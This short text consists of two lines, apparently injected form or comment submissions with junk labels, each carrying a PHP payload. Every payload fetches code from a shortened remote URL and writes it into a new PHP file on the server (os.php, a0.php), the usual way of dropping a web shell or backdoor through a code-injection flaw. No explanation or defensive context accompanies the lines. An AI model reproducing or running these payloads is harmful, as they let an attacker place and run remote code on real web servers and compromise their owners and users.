ubu1: <? $z=fopen("os.php",'w');fwrite($z,file_get_contents("http://ow.ly/sXtWT"));fclose($z); ?>

sdfsdfsdf: <? $z=fopen("a0.php",'w');fwrite($z,file_get_contents("http://ow.ly/sXtWT"));fclose($z); ?>